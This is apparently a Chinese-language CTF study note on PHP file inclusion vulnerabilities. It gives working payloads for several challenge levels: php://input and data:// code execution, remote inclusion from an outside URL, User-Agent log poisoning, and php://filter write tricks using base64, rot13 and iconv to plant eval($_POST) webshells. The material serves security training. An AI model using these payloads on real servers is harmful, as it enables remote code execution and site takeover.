目录
CTF-87-php://filter/write&加密编码
知识概要
1、解释
什么是文件包含:
将其他文件直接包含在本页代码中。
文件包含漏洞:
当包含函数的内容是一个变量的话,那么可以通过控制变量包含带有后门的文件就实现了文件包含漏洞。
2、实现漏洞的三种方式
1、配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,脚本代码就被触发
2、配合日志文件进行getshell,日志会记录访问得UA信息,修改UA信息并改为后门代码,包含日志路径并执行后门代码
3、配合会话(session)文件进行getshell。
session的参考资料: session包含 - lnterpreter - 博客园
4、利用伪协议:php伪协议参考资料
使用伪协议的条件:
1、使用伪协议包含文件的函数中只能有变量,不能连接其他路径
2、查看伪协议的开关是否开启
3、本地包含LFI&远程包含RFI-区别
LFI:只能包含本地
RFI:可以远程加载
具体形成原因由代码和环境配置文件决定
4、各类脚本语言包含代码写法
<!--#include file="1.asp" -->
<!--#include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php Include('test.php')?>
思路点
黑盒发现
主要观察参数传递的数据和文件名是否对应。如果url中有变量接受文件名,尝试给变量赋值其他文件名,要是可以正常显示证明有包含文件漏洞
白盒发现
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
CTF案例演示
CTF-78-php&http协议
payload: ?file=php://input post:<?php system('tac flag.php');?>
源码显示位直接获取文件并直接进行包含
直接利用input伪协议和post访问直接获取flag
CTF-79-data&http协议
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
该关过滤php,那么直接利用远程包含即可并在远程包含的文件上写入获取flag的代码
CTF-80&81-日志包含
注意:81与80方法相同,所以值演示80
利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log
该关过滤了php,data并且禁用了文件包含漏洞
该关使用日志文件,通过查看信息发现中间件的类型nignx。同时搜索日志文件发现可以进行包含
直接访问页面,利用将UA改为获取flag代码,访问日志文件获取flag即可
CTF-87-php://filter/write&加密编码
1、利用base64写入文件:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
2、利用凯撒13:
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>
加解密: Rot13密码 - Rot13 Cipher - 在线工具网
CTF-88-data&base64协议
过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
CTF-117-php://filter/write&新的算法
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
执行下面PHP代码通过第一次的反转获取payload所加密的php文件内容
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?